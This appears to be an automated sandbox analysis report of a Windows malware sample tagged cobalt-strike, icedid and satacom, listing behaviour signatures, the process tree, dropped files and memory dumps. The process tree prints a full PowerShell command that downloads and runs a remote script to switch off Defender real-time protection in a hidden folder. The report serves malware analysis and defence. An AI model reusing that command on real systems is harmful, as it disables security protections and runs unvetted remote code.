Analysis

  • max time kernel
    149s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/08/2026, 23:22

General

  • Target
    2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe
  • Size 118KB
  • Sample260828-3cks1sthph
  • SHA256 143dc4207a4be6c6add2d4eda1ded122f7705d8e7bfafce453b86062d628eef8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 4 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-28_0332537cc9699bb5db69a66fc446d91d_cobalt-strike_icedid_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Normal -Command "$p = Join-Path $env:APPDATA 'WinDefCtl'; if (!(Test-Path $p)) { New-Item $p -ItemType Directory -Force | Out-Null; attrib +h $p }; Invoke-WebRequest -Uri 'https://github.com/wesmar/WinDefCtl/releases/download/v2.0.0/WinDefCtl-v2.ps1' -OutFile (Join-Path $p 'WinDefCtl-v2.ps1'); & (Join-Path $p 'WinDefCtl-v2.ps1') rtp off"
      2⤵
      • UAC bypass
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\WinDefCtl
        3⤵
        • Views/modifies file attributes
        PID:5412
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ujlhqdg\1ujlhqdg.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8514.tmp" "c:\Users\Admin\AppData\Local\Temp\1ujlhqdg\CSC6631C5F4773A44A79587C31D2C3BEDC0.TMP"
          4⤵
            PID:2284
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKCU\Software\Temp /v WinDefCtl_Warmed /t REG_DWORD /d 1 /f
          3⤵
          • Modifies registry key
          PID:3336
    • C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
      "C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:3912
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
      1⤵
        PID:5852
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
        1⤵
          PID:1656
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc
          1⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:2416
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
          1⤵
            PID:3204
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
            1⤵
            • Modifies data under HKEY_USERS
            PID:3284
          • C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
            "C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
            1⤵
            • Suspicious use of SetWindowsHookEx
            PID:3172

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                1ujlhqdg.dll

                • Path C:\Users\Admin\AppData\Local\Temp\1ujlhqdg\1ujlhqdg.dll
                • Size 4KB
                • SHA256 a2941ef6df477ca3940df0556450c4f2beea7420c17e456cbcec6c21b05aab3a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                RES8514.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES8514.tmp
                • Size 1KB
                • SHA256 572158ec78c3978294fdd436b28e0ecf42e2506c4811583dedaf6c46916d931d
                • MD5 SHA1 SHA512 TLSH

                1ujlhqdg.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\1ujlhqdg\1ujlhqdg.0.cs
                • Size 1KB
                • SHA256 4eddc18597eccb18b4980ebb9508937b08d7ce6ffc56e104457a8ad63b3f9b50
                • MD5 SHA1 SHA512 TLSH

                1ujlhqdg.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\1ujlhqdg\1ujlhqdg.cmdline
                • Size 369B
                • SHA256 c62b179a9b7914d17c619b12b9f6644539d33a46e92c2ec17742de583c0378fa
                • MD5 SHA1 SHA512 TLSH

                CSC6631C5F4773A44A79587C31D2C3BEDC0.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\1ujlhqdg\CSC6631C5F4773A44A79587C31D2C3BEDC0.TMP
                • Size 652B
                • SHA256 f921472e559eb0535d793dea90e60b122d18c54a74b3203676f60e489daf48e7
                • MD5 SHA1 SHA512 TLSH

                memory/1064-10-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-8-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-11-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-12-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-13-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-14-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-18-0x0000026F7FA70000-0x0000026F7FAAE000-memory.dmp

                memory/1064-17-0x0000026F7FA00000-0x0000026F7FA2E000-memory.dmp

                memory/1064-9-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-2-0x00007FFC81CEF000-0x00007FFC81CF0000-memory.dmp

                memory/1064-7-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-6-0x0000026F7F0B0000-0x0000026F7F0D2000-memory.dmp

                memory/1064-31-0x0000026F7EF10000-0x0000026F7EF18000-memory.dmp

                memory/1064-3-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-32-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-33-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-35-0x0000026F7FAB0000-0x0000026F7FABE000-memory.dmp

                memory/1064-36-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp

                memory/1064-38-0x00007FFC81B60000-0x00007FFC82504000-memory.dmp